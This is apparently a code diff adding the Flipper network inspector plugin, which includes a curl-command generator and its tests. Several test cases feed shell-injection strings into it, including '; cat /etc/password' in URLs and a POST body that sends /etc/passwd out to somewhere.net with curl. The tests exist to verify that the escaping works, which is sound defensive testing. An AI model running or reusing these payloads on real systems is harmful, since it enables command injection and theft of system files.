File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
BIN
desktop/plugins/public/network/__tests__/fixtures/tiny_logo.png
Normal file
BIN
desktop/plugins/public/network/__tests__/fixtures/tiny_logo.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 24 KiB |
@@ -0,0 +1,147 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {convertRequestToCurlCommand} from '../utils';
|
||||
import {Request} from '../types';
|
||||
|
||||
test('convertRequestToCurlCommand: simple GET', () => {
|
||||
const request: Request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'GET',
|
||||
url: 'https://fbflipper.com/',
|
||||
headers: [],
|
||||
data: null,
|
||||
};
|
||||
|
||||
const command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual("curl -v -X GET 'https://fbflipper.com/'");
|
||||
});
|
||||
|
||||
test('convertRequestToCurlCommand: simple POST', () => {
|
||||
const request: Request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: 'https://fbflipper.com/',
|
||||
headers: [],
|
||||
data: btoa('some=data&other=param'),
|
||||
};
|
||||
|
||||
const command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual(
|
||||
"curl -v -X POST 'https://fbflipper.com/' -d 'some=data&other=param'",
|
||||
);
|
||||
});
|
||||
|
||||
test('convertRequestToCurlCommand: malicious POST URL', () => {
|
||||
let request: Request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: "https://fbflipper.com/'; cat /etc/password",
|
||||
headers: [],
|
||||
data: btoa('some=data&other=param'),
|
||||
};
|
||||
|
||||
let command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual(
|
||||
"curl -v -X POST $'https://fbflipper.com/\\'; cat /etc/password' -d 'some=data&other=param'",
|
||||
);
|
||||
|
||||
request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: 'https://fbflipper.com/"; cat /etc/password',
|
||||
headers: [],
|
||||
data: btoa('some=data&other=param'),
|
||||
};
|
||||
|
||||
command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual(
|
||||
"curl -v -X POST 'https://fbflipper.com/\"; cat /etc/password' -d 'some=data&other=param'",
|
||||
);
|
||||
});
|
||||
|
||||
test('convertRequestToCurlCommand: malicious POST URL', () => {
|
||||
let request: Request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: "https://fbflipper.com/'; cat /etc/password",
|
||||
headers: [],
|
||||
data: btoa('some=data&other=param'),
|
||||
};
|
||||
|
||||
let command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual(
|
||||
"curl -v -X POST $'https://fbflipper.com/\\'; cat /etc/password' -d 'some=data&other=param'",
|
||||
);
|
||||
|
||||
request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: 'https://fbflipper.com/"; cat /etc/password',
|
||||
headers: [],
|
||||
data: btoa('some=data&other=param'),
|
||||
};
|
||||
|
||||
command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual(
|
||||
"curl -v -X POST 'https://fbflipper.com/\"; cat /etc/password' -d 'some=data&other=param'",
|
||||
);
|
||||
});
|
||||
|
||||
test('convertRequestToCurlCommand: malicious POST data', () => {
|
||||
let request: Request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: 'https://fbflipper.com/',
|
||||
headers: [],
|
||||
data: btoa('some=\'; curl https://somewhere.net -d "$(cat /etc/passwd)"'),
|
||||
};
|
||||
|
||||
let command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual(
|
||||
"curl -v -X POST 'https://fbflipper.com/' -d $'some=\\'; curl https://somewhere.net -d \"$(cat /etc/passwd)\"'",
|
||||
);
|
||||
|
||||
request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: 'https://fbflipper.com/',
|
||||
headers: [],
|
||||
data: btoa('some=!!'),
|
||||
};
|
||||
|
||||
command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual(
|
||||
"curl -v -X POST 'https://fbflipper.com/' -d $'some=\\u21\\u21'",
|
||||
);
|
||||
});
|
||||
|
||||
test('convertRequestToCurlCommand: control characters', () => {
|
||||
const request: Request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'GET',
|
||||
url: 'https://fbflipper.com/',
|
||||
headers: [],
|
||||
data: btoa('some=\u0007 \u0009 \u000C \u001B&other=param'),
|
||||
};
|
||||
|
||||
const command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual(
|
||||
"curl -v -X GET 'https://fbflipper.com/' -d $'some=\\u07 \\u09 \\u0c \\u1b&other=param'",
|
||||
);
|
||||
});
|
||||
73
desktop/plugins/public/network/chunks.tsx
Normal file
73
desktop/plugins/public/network/chunks.tsx
Normal file
@@ -0,0 +1,73 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import type {PartialResponses, Response} from './types';
|
||||
import {Atom} from 'flipper-plugin';
|
||||
import {Base64} from 'js-base64';
|
||||
|
||||
export function assembleChunksIfResponseIsComplete(
|
||||
partialResponses: Atom<PartialResponses>,
|
||||
responses: Atom<Record<string, Response>>,
|
||||
responseId: string,
|
||||
) {
|
||||
const partialResponseEntry = partialResponses.get()[responseId];
|
||||
const numChunks = partialResponseEntry.initialResponse?.totalChunks;
|
||||
if (
|
||||
!partialResponseEntry.initialResponse ||
|
||||
!numChunks ||
|
||||
Object.keys(partialResponseEntry.followupChunks).length + 1 < numChunks
|
||||
) {
|
||||
// Partial response not yet complete, do nothing.
|
||||
return;
|
||||
}
|
||||
|
||||
// Partial response has all required chunks, convert it to a full Response.
|
||||
const response: Response = partialResponseEntry.initialResponse;
|
||||
const allChunks: string[] =
|
||||
response.data != null
|
||||
? [
|
||||
response.data,
|
||||
...Object.entries(partialResponseEntry.followupChunks)
|
||||
// It's important to parseInt here or it sorts lexicographically
|
||||
.sort((a, b) => parseInt(a[0], 10) - parseInt(b[0], 10))
|
||||
.map(([_k, v]: [string, string]) => v),
|
||||
]
|
||||
: [];
|
||||
const data = combineBase64Chunks(allChunks);
|
||||
|
||||
responses.update((draft) => {
|
||||
draft[responseId] = {
|
||||
...response,
|
||||
// Currently data is always decoded at render time, so re-encode it to match the single response format.
|
||||
data,
|
||||
};
|
||||
});
|
||||
|
||||
partialResponses.update((draft) => {
|
||||
delete draft[responseId];
|
||||
});
|
||||
}
|
||||
|
||||
export function combineBase64Chunks(chunks: string[]): string {
|
||||
const byteArray = chunks.map((b64Chunk) => {
|
||||
return Base64.toUint8Array(b64Chunk);
|
||||
});
|
||||
const size = byteArray
|
||||
.map((b) => b.byteLength)
|
||||
.reduce((prev, curr) => prev + curr, 0);
|
||||
|
||||
const buffer = new Uint8Array(size);
|
||||
let offset = 0;
|
||||
for (let i = 0; i < byteArray.length; i++) {
|
||||
buffer.set(byteArray[i], offset);
|
||||
offset += byteArray[i].byteLength;
|
||||
}
|
||||
|
||||
return Base64.fromUint8Array(buffer);
|
||||
}
|
||||
1009
desktop/plugins/public/network/index.tsx
Normal file
1009
desktop/plugins/public/network/index.tsx
Normal file
File diff suppressed because it is too large
Load Diff
32
desktop/plugins/public/network/package.json
Normal file
32
desktop/plugins/public/network/package.json
Normal file
@@ -0,0 +1,32 @@
|
||||
{
|
||||
"$schema": "https://fbflipper.com/schemas/plugin-package/v2.json",
|
||||
"name": "flipper-plugin-network",
|
||||
"id": "Network",
|
||||
"flipperBundlerEntry": "index.tsx",
|
||||
"main": "dist/bundle.js",
|
||||
"title": "Network",
|
||||
"description": "Use the Network inspector to inspect outgoing network traffic in your apps.",
|
||||
"icon": "internet",
|
||||
"version": "0.0.0",
|
||||
"license": "MIT",
|
||||
"keywords": [
|
||||
"flipper-plugin"
|
||||
],
|
||||
"bugs": {
|
||||
"email": "oncall+flipper@xmail.facebook.com",
|
||||
"url": "https://fb.workplace.com/groups/flippersupport/"
|
||||
},
|
||||
"dependencies": {
|
||||
"lodash": "^4.17.21",
|
||||
"pako": "^2.0.3",
|
||||
"xml-beautifier": "^0.4.0"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"flipper": "*",
|
||||
"flipper-plugin": "*"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@types/pako": "^1.0.1",
|
||||
"js-base64": "^3.6.0"
|
||||
}
|
||||
}
|
||||
90
desktop/plugins/public/network/types.tsx
Normal file
90
desktop/plugins/public/network/types.tsx
Normal file
@@ -0,0 +1,90 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
export type RequestId = string;
|
||||
|
||||
export type Request = {
|
||||
id: RequestId;
|
||||
timestamp: number;
|
||||
method: string;
|
||||
url: string;
|
||||
headers: Array<Header>;
|
||||
data: string | null | undefined;
|
||||
};
|
||||
|
||||
export type Response = {
|
||||
id: RequestId;
|
||||
timestamp: number;
|
||||
status: number;
|
||||
reason: string;
|
||||
headers: Array<Header>;
|
||||
data: string | null | undefined;
|
||||
isMock: boolean;
|
||||
insights: Insights | null | undefined;
|
||||
totalChunks?: number;
|
||||
index?: number;
|
||||
};
|
||||
|
||||
export type ResponseFollowupChunk = {
|
||||
id: string;
|
||||
totalChunks: number;
|
||||
index: number;
|
||||
data: string;
|
||||
};
|
||||
|
||||
export type Header = {
|
||||
key: string;
|
||||
value: string;
|
||||
};
|
||||
|
||||
export type RetryInsights = {
|
||||
count: number;
|
||||
limit: number;
|
||||
timeSpent: number;
|
||||
};
|
||||
|
||||
export type Insights = {
|
||||
dnsLookupTime: number | null | undefined;
|
||||
connectTime: number | null | undefined;
|
||||
sslHandshakeTime: number | null | undefined;
|
||||
preTransferTime: number | null | undefined;
|
||||
redirectsTime: number | null | undefined;
|
||||
timeToFirstByte: number | null | undefined;
|
||||
transferTime: number | null | undefined;
|
||||
postProcessingTime: number | null | undefined;
|
||||
// Amount of transferred data can be different from total size of payload.
|
||||
bytesTransfered: number | null | undefined;
|
||||
transferSpeed: number | null | undefined;
|
||||
retries: RetryInsights | null | undefined;
|
||||
};
|
||||
|
||||
export type Route = {
|
||||
requestUrl: string;
|
||||
requestMethod: string;
|
||||
responseData: string;
|
||||
responseHeaders: {[id: string]: Header};
|
||||
responseStatus: string;
|
||||
enabled: boolean;
|
||||
};
|
||||
|
||||
export type MockRoute = {
|
||||
requestUrl: string;
|
||||
method: string;
|
||||
data: string;
|
||||
headers: Header[];
|
||||
status: string;
|
||||
enabled: boolean;
|
||||
};
|
||||
|
||||
export type PartialResponses = {
|
||||
[id: string]: {
|
||||
initialResponse?: Response;
|
||||
followupChunks: {[id: number]: string};
|
||||
};
|
||||
};
|
||||
103
desktop/plugins/public/network/utils.tsx
Normal file
103
desktop/plugins/public/network/utils.tsx
Normal file
@@ -0,0 +1,103 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import pako from 'pako';
|
||||
import {Request, Response, Header} from './types';
|
||||
import {Base64} from 'js-base64';
|
||||
|
||||
export function getHeaderValue(headers: Array<Header>, key: string): string {
|
||||
for (const header of headers) {
|
||||
if (header.key.toLowerCase() === key.toLowerCase()) {
|
||||
return header.value;
|
||||
}
|
||||
}
|
||||
return '';
|
||||
}
|
||||
|
||||
export function decodeBody(container: Request | Response): string {
|
||||
if (!container.data) {
|
||||
return '';
|
||||
}
|
||||
|
||||
try {
|
||||
const isGzip =
|
||||
getHeaderValue(container.headers, 'Content-Encoding') === 'gzip';
|
||||
if (isGzip) {
|
||||
try {
|
||||
const binStr = Base64.atob(container.data);
|
||||
const dataArr = new Uint8Array(binStr.length);
|
||||
for (let i = 0; i < binStr.length; i++) {
|
||||
dataArr[i] = binStr.charCodeAt(i);
|
||||
}
|
||||
// The request is gzipped, so convert the base64 back to the raw bytes first,
|
||||
// then inflate. pako will detect the BOM headers and return a proper utf-8 string right away
|
||||
return pako.inflate(dataArr, {to: 'string'});
|
||||
} catch (e) {
|
||||
// on iOS, the stream send to flipper is already inflated, so the content-encoding will not
|
||||
// match the actual data anymore, and we should skip inflating.
|
||||
// In that case, we intentionally fall-through
|
||||
if (!('' + e).includes('incorrect header check')) {
|
||||
throw e;
|
||||
}
|
||||
}
|
||||
}
|
||||
// If this is not a gzipped request, assume we are interested in a proper utf-8 string.
|
||||
// - If the raw binary data in is needed, in base64 form, use container.data directly
|
||||
// - either directly use container.data (for example)
|
||||
return Base64.decode(container.data);
|
||||
} catch (e) {
|
||||
console.warn(
|
||||
`Flipper failed to decode request/response body (size: ${container.data.length}): ${e}`,
|
||||
);
|
||||
return '';
|
||||
}
|
||||
}
|
||||
|
||||
export function convertRequestToCurlCommand(request: Request): string {
|
||||
let command: string = `curl -v -X ${request.method}`;
|
||||
command += ` ${escapedString(request.url)}`;
|
||||
// Add headers
|
||||
request.headers.forEach((header: Header) => {
|
||||
const headerStr = `${header.key}: ${header.value}`;
|
||||
command += ` -H ${escapedString(headerStr)}`;
|
||||
});
|
||||
// Add body. TODO: we only want this for non-binary data! See D23403095
|
||||
const body = decodeBody(request);
|
||||
if (body) {
|
||||
command += ` -d ${escapedString(body)}`;
|
||||
}
|
||||
return command;
|
||||
}
|
||||
|
||||
function escapeCharacter(x: string) {
|
||||
const code = x.charCodeAt(0);
|
||||
return code < 16 ? '\\u0' + code.toString(16) : '\\u' + code.toString(16);
|
||||
}
|
||||
|
||||
const needsEscapingRegex = /[\u0000-\u001f\u007f-\u009f!]/g;
|
||||
|
||||
// Escape util function, inspired by Google DevTools. Works only for POSIX
|
||||
// based systems.
|
||||
function escapedString(str: string) {
|
||||
if (needsEscapingRegex.test(str) || str.includes("'")) {
|
||||
return (
|
||||
"$'" +
|
||||
str
|
||||
.replace(/\\/g, '\\\\')
|
||||
.replace(/\'/g, "\\'")
|
||||
.replace(/\n/g, '\\n')
|
||||
.replace(/\r/g, '\\r')
|
||||
.replace(needsEscapingRegex, escapeCharacter) +
|
||||
"'"
|
||||
);
|
||||
}
|
||||
|
||||
// Simply use singly quoted string.
|
||||
return "'" + str + "'";
|
||||
}
|
||||
Reference in New Issue
Block a user